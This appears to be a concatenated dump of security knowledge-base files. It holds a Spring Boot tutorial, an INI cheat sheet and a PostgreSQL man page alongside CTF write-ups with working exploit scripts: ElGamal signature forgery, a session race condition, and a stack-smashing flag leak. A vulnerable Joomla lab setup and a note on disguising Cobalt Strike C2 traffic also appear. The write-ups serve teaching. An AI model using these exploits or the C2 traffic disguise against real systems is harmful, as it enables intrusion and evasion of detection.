这基本就是格式化字符串漏洞的基本原理了。
sec-knowleage
# 创建第一个项目 --- ## 使用 IntelliJ IDEA 创建 > Intellij 中的 Spring Initializr 虽然还是基于官方 Web 实现,但是通过工具来进行调用并直接将结果构建到我们的本地文件系统中,让整个构建流程变得更加顺畅 创建一个空项目 进入主界面, 新建 spring boot 模块 填写项目信息 选择依赖 此时的项目结构 新建包 controller, 再新建类Hello 写入如下内容 ```java package com.demo1.controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController public class Hello { @RequestMapping("/hello") public String hello() { return "Hello World !!!"; } } ``` 到 Demo1Application 空白处右键,点击运行 无误后,访问自己 127.0.0.1/hello 即可 --- ## 通过访问 Spring Initializr 创建 访问 Spring Initializr:https://start.spring.io/ 如图所示,几个选项说明: - Project:使用什么构建工具,Maven 还是 Gradle; - Language:使用什么编程语言,Java、Kotlin 还是 Groovy; - Spring Boot:选用的 Spring Boot 版本; - Project Metadata:项目的元数据;其实就是 Maven 项目的基本元素; - Dependencies:选择要加入的 Spring Boot 组件; 选择 web 组件 点击 "Generate" 按钮生成项目;此时浏览器会下载一个与上面 Artifact 名称一样的压缩包。 解压项目包,并用编译器以 Maven 项目导入,以 IntelliJ IDEA 为例: 菜单中选择:File -> New -> Project from Existing Sources… 选择解压后的项目文件夹,点击 OK 点击:Import project from external model,并选择 Maven,点击 Next 到底为止。 若你的环境有多个版本的 JDK,注意到选择 Java SDK 的时候请选择相应的 java 版本(具体根据你在第一步中选择的 Java 版本为准) 通过上面步骤完成了基础项目的创建。 Spring Boot 的基础结构共三个文件(具体路径根据用户生成项目时填写的 Group 所有差异) - src/main/java 下的程序入口: DemoApplication - src/main/resources 下的配置文件: application.properties - src/test/ 下的测试入口: DemoApplicationTests 生成的 DemoApplication 和 DemoApplicationTests 类都可以直接运行来启动当前创建的项目,由于目前该项目未配合任何数据访问或 Web 模块,程序会在加载完 Spring 之后结束运行。 项目依赖解析 打开pom.xml,看看Spring Boot项目的依赖: ```xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.6.6</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.example</groupId> <artifactId>demo</artifactId> <version>0.0.1-SNAPSHOT</version> <name>demo</name> <description>Demo project for Spring Boot</description> <properties> <java.version>11</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> </project> ``` 如上所示,主要有四个部分: - 项目元数据:创建时候输入的 Project Metadata 部分,也就是 Maven 项目的基本元素,包括:groupId、artifactId、version、name、description 等 - parent:继承 spring-boot-starter-parent 的依赖管理,控制版本与打包等内容 - dependencies:项目具体依赖,这里包含了 spring-boot-starter-web 用于实现 HTTP 接口(该依赖中包含了 Spring MVC);spring-boot-starter-test 用于编写单元测试的依赖包。更多功能模块的使用我们将在后面的教程中逐步展开。 - build:构建配置部分。默认使用了 spring-boot-maven-plugin,配合 spring-boot-starter-parent 就可以把 Spring Boot 应用打包成 JAR 来直接运行。 编写一个 HTTP 接口 创建 package 命名为 com.example.demo.web(根据实际情况修改) 创建 HelloController 类,内容如下: ```java @RestController public class HelloController { @RequestMapping("/hello") public String index() { return "Hello World"; } } ``` 在 DemoApplication 启动主程序,发起请求:http://localhost:8080/hello ,可以看到页面返回:Hello World --- ## Source & Reference - https://blog.csdn.net/m0_52559040/article/details/123284034 - https://blog.didispace.com/spring-boot-learning-21-1-1/
sec-knowleage
# babyrev Category: Reversing & Binary Exploitation ## Description > Another brick in the wall A binary file was attached. ## Solution Let's run the binary: ```console root@kali:/media/sf_CTFs/technion/babyrev# ./babyrev Enter Flag: test This is not the flag... ``` The program is requesting the flag. Let's try to discover how it knows what the correct flag is. We'll open the binary with Ghidra: ```c undefined8 main(void) { long lVar1; long in_FS_OFFSET; int i; char user_input [27]; char expected_pass [27]; lVar1 = *(long *)(in_FS_OFFSET + 0x28); printf("Enter Flag: "); user_input._0_8_ = 0; user_input._8_8_ = 0; user_input._16_8_ = 0; user_input._24_2_ = 0; user_input[26] = '\0'; expected_pass._0_8_ = 0; expected_pass._8_8_ = 0; expected_pass._16_8_ = 0; expected_pass._24_2_ = 0; expected_pass[26] = '\0'; __isoc99_scanf(&DAT_00102015,user_input); expected_pass._0_8_ = 0x696e686365747363; expected_pass._8_8_ = 0x745f57306e7b6e6f; expected_pass._16_8_ = 0x525f73695f733148; expected_pass._24_2_ = 0x7633; expected_pass[26] = '}'; i = 0; do { if (26 < i) { puts("Good job! now go ahead and submit it"); LAB_001012ec: if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } if (expected_pass[i] != user_input[i]) { puts("This is not the flag..."); goto LAB_001012ec; } i = i + 1; } while( true ); } ``` This is a very simple program. The expected password is initialized and compared character by character to the user input. We can easily extract the password from the binary: ```python >>> from pwn import * >>> p64(0x696e686365747363) + p64(0x745f57306e7b6e6f) + p64(0x525f73695f733148) + p16(0x7633) + b'}' b'cstechnion{n0W_tH1s_is_R3v}' ```
sec-knowleage
version: '2' services: web: image: vulhub/joomla:3.7.0 depends_on: - mysql environment: - JOOMLA_DB_HOST=mysql - JOOMLA_DB_PORT=3306 - JOOMLA_DB_USER=root - JOOMLA_DB_PASSWORD=vulhub - JOOMLA_DB_NAME=joomla ports: - "8080:80" mysql: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORD=vulhub
sec-knowleage
# ElGamal RSA的数字签名方案几乎与其加密方案完全一致,只是利用私钥进行了签名。但是,对于ElGamal来说,其签名方案与相应的加密方案具有很大区别。 ## 基本原理 ### 密钥生成 基本步骤如下 1. 选取一个足够大的素数p(十进制位数不低于160),以便于在$Z_p$ 上求解离散对数问题是困难的。 2. 选取$Z_p^*$ 的生成元g。 3. 随机选取整数d,$0\leq d \leq p-2$ ,并计算$g^d \equiv y \bmod p$ 。 其中私钥为{d},公钥为{p,g,y} 。 ### 签名 A选取随机数$k \in Z_{p-1}$ ,并且$gcd(k,p-1)=1$,对消息进行签名 $$ sig_d(m,k)=(r,s) $$ 其中$r \equiv g^k \bmod p$ ,$s \equiv (m-dr)k^{-1} \bmod p-1$ 。 ### 验证 如果 $g^m \equiv y^rr^s \bmod p$ ,那么验证成功,否则验证失败。这里验证成功的原理如下,首先我们有 $$ y^rr^s \equiv g^{dr}g^{ks} \equiv g^{dr+ks} $$ 又因为 $$ s \equiv (m-dr)k^{-1} \bmod p-1 $$ 所以 $$ ks \equiv m-dr \bmod p-1 $$ 进而 $$ ks+dr=a*(p-1)+m $$ 所以 $$ g^{ks+dr}=g^{a*(p-1)+m}=(g^{p-1})^a*g^m $$ 所以根据费马定理,可得 $$ g^{ks+dr} \equiv g^m \bmod p $$ ## 常见攻击 ### 完全破译攻击 #### 攻击条件 - p太小或无大素因子 如果$p$太小我们可以直接用大部小步算法分解, 或者如果其无大的素因子, 我们可以采用$Pohling\: Hellman$算法计算离散对数即可进而求出私钥。 - 随机数k复用 如果签名者复用了随机数k,那么攻击者就可以轻而易举地计算出私钥。具体的原理如下: 假设目前有两个签名都是使用同一个随机数进行签名的。那么我们有 $$ r \equiv g^k \bmod p \\\\ s _1\equiv (m_1-dr)k^{-1} \bmod p-1\\\\ r \equiv g^k \bmod p \\\\ s_2 \equiv (m_2-dr)k^{-1} \bmod p-1 $$ 进而有 $$ s_1k \equiv m_1-dr \bmod p-1 \\\\ s_2k \equiv m_2-dr \bmod p-1 $$ 两式相减 $$ k(s_1-s_2) \equiv m_1-m_2 \bmod p-1 $$ 这里,$s_1,s_2,m_1,m_2,p-1$ 均已知,所以我们可以很容易算出k。当然,如果$gcd(s_1-s_2,p-1)!=1$ 的话,可能会存在多个解,这时我们只需要多试一试。进而,我们可以根据s的计算方法得到私钥d,如下 $$ d \equiv \frac{m-ks}{r} $$ #### 题目 2016 LCTF Crypto 450 ### 通用伪造签名 #### 攻击条件 如果消息$m$没有取哈希,或者消息$m$没有指定消息格式的情况下攻击成立。 #### 原理 在攻击者知道了某个人Alice的公钥之后,他可以伪造Alice的签名信息。具体原理如下: 这里我们假设,Alice的公钥为{p,g,y}。攻击者可以按照如下方式伪造 1. 选择整数 $i$,$j$,其中$gcd(j,p-1)=1$ 2. 计算签名,$r \equiv g^iy^j \bmod p$ ,$s\equiv -rj^{-1} \bmod p-1$ 3. 计算消息,$m\equiv si \bmod p-1$ 那么此时生成的签名与消息就是可以被正常通过验证,具体推导如下: $y^rr^s \equiv g^{dr}g^{is}y^{js} \equiv g^{dr}g^{djs}g^{is} \equiv g^{dr+s(i+dj)} \equiv g^{dr} g^{-rj^{-1}(i+dj)} \equiv g^{dr-dr-rij^{-1}} \equiv g^{si} \bmod p$ 又由于消息m的构造方式,所以 $$ g^{si} \equiv g^m \bmod p-1 $$ 需要注意的是,攻击者可以伪造通过签名验证的消息,但是他却无法伪造指定格式的消息。而且,一旦消息进行了哈希操作,这一攻击就不再可行。 ### 已知签名伪造 #### 攻击条件 假设攻击者知道$(r, s)$是消息$M$的签名,则攻击者可利用它来伪造其它消息的签名。 #### 原理 1. 选择整数$h, i, j \in[0, p-2]$且满足$\operatorname{gcd}(h r-j s, \varphi(p))=1$ 2. 计算下式 $\begin{array}{l} r^{\prime}=r^{h} \alpha^{i} y_{A}^{j} \bmod p \\ s^{\prime}=\operatorname{sr}(h r-j s)^{-1} \bmod \varphi(p) \\ m^{\prime}=r^{\prime}(h m+i s)(h r-j s)^{-1} \bmod \varphi(p) \end{array}$ 可得到$(r',s')$是$m'$的有效签名 证明如下: 已知Alice对消息$x$的签名$(\gamma,\delta)$满足$\beta^{\gamma} \gamma^{\delta} \equiv \alpha^{x}(\bmod p)$,所以我们目的为构造出$\left(x^{\prime}, \lambda, \mu\right)$满足 $$ \beta^{\lambda} \lambda^{\mu} \equiv \alpha^{x'}(\bmod p) $$ 那么,首先我们把$\lambda$表示为三个已知底$\alpha, \beta, \gamma$的形式: $\lambda=\alpha^{i} \beta^{j} \gamma^{h} \bmod p$,由条件可得 $$ \beta^{\gamma} \gamma^{\delta} \equiv \alpha^{x}(\bmod p) \Leftrightarrow \gamma=\left(\beta^{-\gamma} \alpha^{x}\right)^{\delta-1} \bmod p $$ 那么我们可以得到 $$ \lambda=\alpha^{i+x \delta^{-1} h} \beta^{j-\gamma \delta^{-1} h} \bmod p $$ 我们把$\lambda$的表达式代入一式中 $$ \begin{aligned}& \beta^{\lambda}\left(\alpha^{i+x \delta^{-1} h} \beta^{j-\gamma \delta^{-1} h}\right)^{\mu} \equiv \alpha^{x^{\prime}}(\bmod p) \\\Leftrightarrow & \beta^{\lambda+\left(j-\gamma \delta^{-1} h\right) \mu} \equiv \alpha^{x^{\prime}-\left(i+x \delta^{-1} h\right) \mu}(\bmod p)\end{aligned} $$ 我们令两边指数为$0$, 即 $$ \left\{\begin{matrix}\lambda+\left(j-\gamma \delta^{-1} h\right) \mu \equiv 0 \bmod p-1 \\ x^{\prime}-\left(i+x \delta^{-1} h\right) \mu \equiv 0 \bmod p-1 \end{matrix}\right. $$ 可以得到 $$ \mu=\delta \lambda(h \gamma-j \delta)^{-1} \quad(\bmod p-1) \\ x^{\prime}=\lambda(h x+i \delta)(h \gamma-j \delta)^{-1}(\bmod p-1) $$ 其中 $$ \lambda=\alpha^{i} \beta^{j} \gamma^{h} \bmod p $$ 所以我们得到$(\lambda, \mu)$是 $x'$ 的有效签名。 此外,我们还可以借助CRT构造$m'$, 原理如下: 1. $u=m^{\prime} m^{-1} \bmod \varphi(p), \quad s^{\prime}=s u \bmod \varphi(p)$ 2. 再计算$r^{\prime}, \quad r^{\prime} \equiv r u \bmod \varphi(p), r^{\prime} \equiv r \bmod p$ 显然可以使用CRT求解$r'$, 注意到 $y_{A}^{r'} r'^{s^{\prime}}=y_{A}^{ru} r^{s u}=\left(y_{A}^{r} r^{s}\right)^{u}=\alpha^{m u} \equiv \alpha^{m} \bmod p$ 所以$(r',s')$是消息$m'$的有效签名。 抵抗措施:在验证签名时, 检查$r < p$。 ### 选择签名伪造 #### 攻击条件 如果我们可以选择我们消息进行签名,并且可以得到签名,那么我们可以对一个新的但是我们不能够选择签名的消息伪造签名。 #### 原理 我们知道,最后验证的过程如下 $g^m \equiv y^rr^s \bmod p$ 那么只要我们选择一个消息m使其和我们所要伪造的消息$m'$模p-1同余,然后同时使用消息m的签名即可绕过。 #### 题目 这里以2017年国赛mailbox为例,**i春秋有复现**。 首先,我们来分析一下程序,我们首先需要进行proof of work ```python proof = b64.b64encode(os.urandom(12)) req.sendall( "Please provide your proof of work, a sha1 sum ending in 16 bit's set to 0, it must be of length %d bytes, starting with %s\n" % ( len(proof) + 5, proof)) test = req.recv(21) ha = hashlib.sha1() ha.update(test) if (test[0:16] != proof or ord(ha.digest()[-1]) != 0 or ord(ha.digest()[-2]) != 0): # or ord(ha.digest()[-3]) != 0 or ord(ha.digest()[-4]) != 0): req.sendall("Check failed") req.close() return ``` 我们需要生成一个以proof开头的长度为proof长度加5的字符串,并且其sha1的值以16比特的0结束。 这里我们直接使用如下的方式来绕过。 ```python def f(x): return sha1(prefix + x).digest()[-2:] == '\0\0' sh = remote('106.75.66.195', 40001) # bypass proof sh.recvuntil('starting with ') prefix = sh.recvuntil('\n', drop=True) print string.ascii_letters s = util.iters.mbruteforce(f, string.ascii_letters + string.digits, 5, 'fixed') test = prefix + s sh.sendline(test) ``` 这里使用了pwntools中的util.iters.mbruteforce,这是一个利用给定字符集合以及指定长度进行多线程爆破的函数。其中,第一个参数为爆破函数,这里是sha1,第二个参数是字符集,第三个参数是字节数,第四个参数指的是我们只尝试字节数为第三个参数指定字节数的排列,即长度是固定的。更加具体的信息请参考pwntools。 绕过之后,我们继续分析程序,简单看下generate_keys函数,可以知道该函数是ElGamal生成公钥的过程,然后看了看verify函数,就是验证签名的过程。 继续分析 ```python if len(msg) > MSGLENGTH: req.sendall("what r u do'in?") req.close() return if msg[:4] == "test": r, s = sign(digitalize(msg), sk, pk, p, g) req.sendall("Your signature is" + repr((hex(r), hex(s))) + "\n") else: if msg == "Th3_bery_un1que1i_ChArmIng_G3nji" + test: req.sendall("Signature:") sig = self.rfile.readline().strip() if len(sig) > MSGLENGTH: req.sendall("what r u do'in?") req.close() return sig_rs = sig.split(",") if len(sig_rs) < 2: req.sendall("yo what?") req.close() return # print "Got sig", sig_rs if verify(digitalize(msg), int(sig_rs[0]), int(sig_rs[1]), pk, p, g): req.sendall("Login Success.\nDr. Ziegler has a message for you: " + FLAG) print "shipped flag" req.close() return else: req.sendall("You are not the Genji I knew!\n") ``` 根据这三个if条件可以知道 - 我们的消息长度不能超过MSGLENGTH,40000。 - 我们可以对消息开头为test的消息进行签名。 - 我们需要使得以Th3_bery_un1que1i_ChArmIng_G3nji开头,以我们绕过proof的test为结尾的消息通过签名验证,其中,我们可以自己提供签名的值。 分析到这里,其实就知道了,我们就是在选择指定签名进行伪造,这里我们自然要充分利用第二个if条件,只要我们确保我们输入的消息的开头为‘test’,并且该消息与以Th3_bery_un1que1i_ChArmIng_G3nji开头的固定消息模p-1同余,我们即可以通过验证。 那我们如何构造呢?既然消息的长度可以足够长,那么我们可以将'test'对应的16进制先左移得到比p-1大的数字a,然后用a对p-1取模,用a再减去余数,此时a模p-1余0了。这时再加上以Th3_bery_un1que1i_ChArmIng_G3nji开头的固定消息的值,即实现了模p-1同余。 具体如下 ```python # construct the message begins with 'test' target = "Th3_bery_un1que1i_ChArmIng_G3nji" + test part1 = (digitalize('test' + os.urandom(51)) << 512) // (p - 1) * (p - 1) victim = part1 + digitalize(target) while 1: tmp = hex(victim)[2:].decode('hex') if tmp.startswith('test') and '\n' not in tmp: break else: part1 = (digitalize('test' + os.urandom(51)) << 512) // (p - 1) * ( p - 1) victim = part1 + digitalize(target) ``` 最后的脚本如下 ```python from pwn import * from hashlib import sha1 import string import ast import os import binascii context.log_level = 'debug' def f(x): return sha1(prefix + x).digest()[-2:] == '\0\0' def digitalize(m): return int(m.encode('hex'), 16) sh = remote('106.75.66.195', 40001) # bypass proof sh.recvuntil('starting with ') prefix = sh.recvuntil('\n', drop=True) print string.ascii_letters s = util.iters.mbruteforce(f, string.ascii_letters + string.digits, 5, 'fixed') test = prefix + s sh.sendline(test) sh.recvuntil('Current PK we are using: ') pubkey = ast.literal_eval(sh.recvuntil('\n', drop=True)) p = pubkey[0] g = pubkey[1] pk = pubkey[2] # construct the message begins with 'test' target = "Th3_bery_un1que1i_ChArmIng_G3nji" + test part1 = (digitalize('test' + os.urandom(51)) << 512) // (p - 1) * (p - 1) victim = part1 + digitalize(target) while 1: tmp = hex(victim)[2:].decode('hex') if tmp.startswith('test') and '\n' not in tmp: break else: part1 = (digitalize('test' + os.urandom(51)) << 512) // (p - 1) * ( p - 1) victim = part1 + digitalize(target) assert (victim % (p - 1) == digitalize(target) % (p - 1)) # get victim signature sh.sendline(hex(victim)[2:].decode('hex')) sh.recvuntil('Your signature is') sig = ast.literal_eval(sh.recvuntil('\n', drop=True)) sig = [int(sig[0], 0), int(sig[1], 0)] # get flag sh.sendline(target) sh.sendline(str(sig[0]) + "," + str(sig[1])) sh.interactive() ``` 这里还要说几个有意思的点就是 - int(x,0)只的是将x按照其字面对应的进制转换为对应的数字,比如说int('0x12',0)=18,这里相应的字面必须有对应标志开头,比如说十六进制是0x,8进制是0,二进制是0b。因为如果没有的话,就不知道该如何识别了。 - python(python2) 里面到底多大的数,计算出来最后才会带有L呢?正常情况下,大于int都会有L。但是这个里面的victim确实是没有的,, **一个问题,待解决。。**
sec-knowleage
# 0x00 简介 Cobalt Strike的 Malleable-C2-Profiles 可以用来伪装流量,让我们的通讯更加隐蔽。 Beacon中的http通讯由Malleable-C2配置文件,在启动teamserver时来指定我们的配置文件,每个CS只能载入一个配置文件,多个文件需要启动多个teamserver 其中目录下的 `c2lint` 文件可以检测配置文件的语法问题和测试,官网建议在加载前都测试一下(废话)。 # 0x01 使用 运行脚本 ``` ./teamserver [external IP] [password] [/path/to/my.profile] ``` 检测脚本 ``` ./c2lint [/path/to/my.profile] ``` 在GitHub上给我们提供了许多写好的脚本 https://github.com/rsmudge/Malleable-C2-Profiles 我们选取一个来通过Wrueshark 抓包看看CS自带通讯特征 ![Cobalt Strike ](./img/3.1.1.png) 使用 `backoff.profile` 脚本后的GET,POST包 ![Cobalt Strike ](./img/3.1.2.png) ![Cobalt Strike ](./img/3.1.3.png) 配合 `backoff.profile` 不难看出它的原理。 # 0x02 文末 ### 本文如有错误,请及时提醒,以免误导他人
sec-knowleage
# 0xBAD Minton (web/pwn, 14 solved, 740p) ## Web part First part of the task is on the Web side. We get access to some webpage where we can register, and sign-up for 0-3 "courses". There is really nothing more, no SQLi in forms or anything else. In the root of the page we get access to some interesting files: - [backend server binary](backend_server) - Todo note `Quickly complete netcat client version on 178.128.84.72:9997` We can connect via netcat to given endpoint, and the binary we just found is actually listening there for connections. Once we reverse engineer the binary a bit, we come to the conclusion, that we could exploit it, if we manage to sign-up for more than 3 courses. This has to be done on the web side. We thought that maybe a simple race condition will work, but it didn't. Then we tried to do race condition, with multiple sessions, and it worked just fine. We create 2 different user session on the webpage. Then we try to add courses from both of them at the same time: ```python import threading import requests from queue import Queue max = 100 threads = Queue() init_barrier = threading.Barrier(max * 2) def enroll(cookie): threads.get() init_barrier.wait() url = "http://178.128.84.72/login.php?action=enroll" print(requests.get(url, cookies={"PHPSESSID": cookie}).text) threads.task_done() def worker2(index): enroll("33hoabtfv6t8amoovlrjecqun5") def worker(index): enroll("qq5kqe8lbeim1md44m2bnuajr4") def main(): for i in range(max): thread = threading.Thread(target=worker, args=[i]) thread.daemon = True thread.start() for i in range(max): thread = threading.Thread(target=worker2, args=[i]) thread.daemon = True thread.start() for i in range(max * 2): threads.put(i) threads.join() main() ``` We go with 2 sessions, and 100 threads each. After we run this, we get user with 6 courses, which is enough to exploit the binary. ## Pwn part Now to explain why we needed more than 3 sessions. The serwer allows us to load our user from mysql database using a token then input our courses names and print them. ![example.png](example.png) To do so, it allocates 3080 bytes on the stack: ``` c++ char s[3080]; // [rsp+290h] [rbp-C10h] ... if ( courses_num ) { for ( j = 0; j < courses_num; ++j ) { printf("#%d Oh I heard that you already enrolled a course\n", j); v3 = &s[1024 * (signed __int64)(signed int)j]; printf("What is the course name?> "); read(0, v3, 1024uLL); } } ``` Now that we have more courses than space on stack we can try to overwrite some of the stack! The flag is already read into a global variable for us, cool! ``` c++ int read_flag() { int buf_4; // ST34_4 alarm(0x14u); setvbuf(stderr, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); chdir((const char *)(unsigned int)"/home/badminton/"); buf_4 = open((const char *)(unsigned int)"flag", 0); read(buf_4, (void *)(unsigned int)&unk_604070, 0x40uLL); return close(buf_4); } ``` Unfortunately we cannot just write the flag's pointer onto stack and then read read the outcome so we'll have to come up with something else. ![checksec.png](checksec.png) Maybe we can use the stack cookie to our advantage? https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200 By overwriting the pointers in argv and triggering stack smashing we could leak the flag as the programs name, let's try it out! ``` python from pwn import * context.log_level = 'debug' token = '0010318d0edf64b4a79634c005aac0244bc794f0014cbe89fd6356807a806509' r = remote('178.128.84.72', 9997) print(r.recvuntil('Token>')) r.send(token + '\n') for i in range(3): print(r.recvuntil('What is the course name?>')) r.send("Bzorp") for i in range(3): r.recvuntil('What is the course name?>') r.send(p64(0x0000000000604070)*(1024 / 8)) r.interactive() ``` We're just basically hammering the whole stack with the flag's address. ``` ----------------BADMINTON TRAINING---------------- 1. Push-up 2. Running 3. Give up > $ 3 [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x61 bytes: '*** stack smashing detected ***: MeePwnCTF{web+pwn+oldschool+stuff+stack+terminated}\n' ' terminated\n' *** stack smashing detected ***: MeePwnCTF{web+pwn+oldschool+stuff+stack+terminated} terminated [*] Got EOF while reading in interactive ``` It worked!
sec-knowleage
--- title: INI date: 2022-12-30 09:51:44 background: bg-[#6d94c7] tags: categories: - Programming intro: | This is a quick reference cheat sheet for understanding and writing INI-format configuration files. plugins: - copyCode --- Getting Started ---- ### introduction - INI is a configuration file with a fixed standard format - Base elements are keys or properties - Each key consists of a `name` and a `value`, separated by an equal sign (`=`) - `key name` is displayed to the `left side` of the equals sign - `equal sign` and `semicolon` are `reserved` characters - INI configuration method comes from the MS-DOS operating system Now an informal standard for many configurations, other operating systems may use `.conf` or `.cfg` as a suffix ### Example ```ini ; Here are the comments [owner] name=John Doe organization=Acme Products [database] ; Here are the comments server=192.0.2.42 port=143 file="acme payroll.dat" [section.subsection] foo = bar ``` ### Comments comment (`;`) ```ini ; This is the comment text and will be ignored ``` comment (`#`) ```ini # Here is the comment text, ⚠️ Some compilers support it ``` Comments after a line (`;`,`#`) _(not standard)_ ```ini var = a ; this is an inline comment foo = bar # this is another inline comment ``` Comments must appear alone on lines in some cases ### Sections - The name appears on a line by itself - Names are enclosed in square brackets `[` and `]` - No explicit `section end` delimiter - End at the next `section` declaration or at the end of the file - Section and attribute names are case insensitive <!--rehype:className=style-round--> ```ini [section] key1 = a key2 = b ``` The same as `JSON` below 👇 ```json { "section": { "key1": "a", "key2": "b" } } ``` ### Nesting (supported by some parsers) ```ini [section] domain = quickref.me [section.subsection] foo = bar ``` The same as `JSON` below 👇 ```js { "section": { "domain": "quickref.me" "subsection": { "foo": "bar" } } } ``` Nest to previous section (shorthand) ```ini [section] domain = quickref.me [.subsection] foo = bar ``` ### Escape character sequence | meaning :-| :- `\\` | \ (single backslash, escape escape character) `\'` | apostrophe `\"` | double quotes `\0` | null character `\a` | ringtone/alert/sound `\b` | Backspace, [Bell character] for some applications (https://en.wikipedia.org/wiki/Bell_character) `\t` | tab character `\r` | carriage return `\n` | newline `\;` | semicolon `\#` | number sign `\=` | equal sign `\:` | colon `\x????` | Unicode character for the hexadecimal code point corresponding to ???? ### Array ```ini [section] domain = quickref.me array[]=first value array[]=second value ``` The same as `JSON` below 👇 ```js { "section": { "domain": "quickref.me", "array": [ "first value", "second value" ] } } ``` ### Interpreter - [@go-ini/ini](https://github.com/go-ini/ini) _(golang)_ - [@npm/ini](https://www.npmjs.com/package/ini) _(nodejs)_ - [@zonyitoo/rust-ini](https://github.com/zonyitoo/rust-inii) _(rust)_ - [@rxi/ini](https://www.npmjs.com/package/ini) _(c)_ - [@pulzed/mINI](https://github.com/pulzed/mINI) _(c++)_ - [@rickyah/ini-parser](https://github.com/rickyah/ini-parser) _(c#)_ - [@Enichan/Ini](https://github.com/Enichan/Ini) _(c#)_ See also --- - [INI file configuration](https://en.wikipedia.org/wiki/INI_file)_(wikipedia.org)_
sec-knowleage
# Finding Ducky - Part 3 Category: Steganography, 100 points ## Description > A message from ducky! and he seems to be in trouble. Can you figure out what he meant with the new logo? A JPEG file was attached. ## Solution The [previous](Finding_Ducky_-_Part_2.md) challenge said: > As you might have figured out by now, someone is following me, I might even be kidnapped by now. > I don't know by who or why yet, but I think it has something to do with my research. > I can't give you any information because I think they're watching my traffic, > But I can tell you this, I hid something in the new logo with the passphrase duck_in_the_code. > They're not smart enough to figure it out, but I know you are. > Hope to see you soon. Given that we got a passphrase ("duck_in_the_code"), the first thing we should try is `steghide`: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Finding_Ducky_-_Part_3] └─$ steghide extract -sf new_logo.jpeg -p duck_in_the_code wrote extracted data to "cipher.txt". ``` The contents is: ```console ┌──(user@kali)-[/media/sf_CTFs/technion/Finding_Ducky_-_Part_3] └─$ cat cipher.txt Look at my twitter, the flag is cstechnion{the_new_logo_is_great_right} 84 366 446 496 402 66 111 340 280 243 131 157 429 263 181 273 143 407 470 356 125 176 333 467 343 161 188 115 306 179 419 466 253 156 278 316 72 317 485 348 320 ```
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "ALTER DATABASE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME ALTER DATABASE \- 修改一个数据库 .SH SYNOPSIS .sp .nf ALTER DATABASE \fIname\fR SET \fIparameter\fR { TO | = } { \fIvalue\fR | DEFAULT } ALTER DATABASE \fIname\fR RESET \fIparameter\fR ALTER DATABASE \fIname\fR RENAME TO \fInewname\fR .sp .fi .SH "DESCRIPTION 描述" .PP \fBALTER DATABASE\fR 用于改变一个数据库的属性。 .PP 头两种形式为 PostgreSQL 数据库修改缺省的会话运行时配置变量。 随后在该数据库上启动一个新的会话的时候, 在启动会话之前先有效地运行 SET variable TO value。 数据库相关的缺省值覆盖任何在 postgresql.conf 里出现或者从 postmaster 命令行接收到的设置。 只有数据库所有者或者超级用户可以为一个数据库修改会话缺省。 .PP 第三种形式修改该数据库的名称。只有数据库所有者可以重命名一个数据库,并且只有在他有 CREATEDB 权限的时候可以。 当前的数据库不能被重命名。(如果你需要这么做,那么连接另外一个数据库。) .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 需要修改会话缺省的数据库的名字。 .TP \fB\fIparameter\fB\fR .TP \fB\fIvalue\fB\fR 把指定的数据库配置变量的会话缺省值设置为给出的数值。 如果 value 使用了 DEFAULT 或者是等效的 RESET, 那么与数据库相关的变量设置将被删除并且在新的会话中将继承缺省设置。 用 RESET ALL 清除所有设置。 参阅 SET [\fBset\fR(7)] 和 Section 16.4 ``Run-time Configuration'' 获取有关允许的变量名和数值的 更多信息。 .TP \fB\fInewname\fB\fR 数据库的新名字。 .SH "NOTES 注意" .PP 使用 ALTER USER [\fBalter_user\fR(7)], 我们也可以把一个会话缺省绑定到一个特定用户,而不是某个数据库上。 如果存在冲突,那么用户声明的设置覆盖数据库相关的设置。 .SH "EXAMPLES 例子" .PP 要关闭在数据库 test 上缺省的索引使用∶ .sp .nf ALTER DATABASE test SET enable_indexscan TO off; .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBALTER DATABASE\fR 语句是一个 PostgreSQL 扩展。 .SH "SEE ALSO 参见" ALTER USER [\fBalter_user\fR(7)], CREATE DATABASE [\fBcreate_database\fR(l)], DROP DATABASE [\fBdrop_database\fR(l)], SET [\fBset\fR(l)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
from Crypto.PublicKey import RSA, ElGamal from Crypto.Util.number import bytes_to_long, long_to_bytes, GCD, inverse, size from Crypto import Random from hashlib import sha256 from time import time from random import randint, seed from signal import alarm from os import urandom class cipher(object): def __init__(self): self.rsa = RSA.generate(1024) self.elgamal = ElGamal.generate(128, Random.new().read) def encrypt(self, msg): return self.rsa.encrypt(msg, None)[0] def decrypt(self, sec): return self.rsa.decrypt(sec) def sign(self, msg): msg = long_to_bytes(msg) h = sha256(msg).digest() seed(time()) k = randint(1, self.elgamal.p - 1) while GCD(k, self.elgamal.p - 1) != 1: k = randint(1, self.elgamal.p - 1) return self.elgamal.sign(h, k) def verify(self, msg, sig): msg = long_to_bytes(msg) h = sha256(msg).digest() return self.elgamal.verify(h, sig) def main(): with open('admin.key', 'r') as f: admin_k = f.readline() cry = cipher() 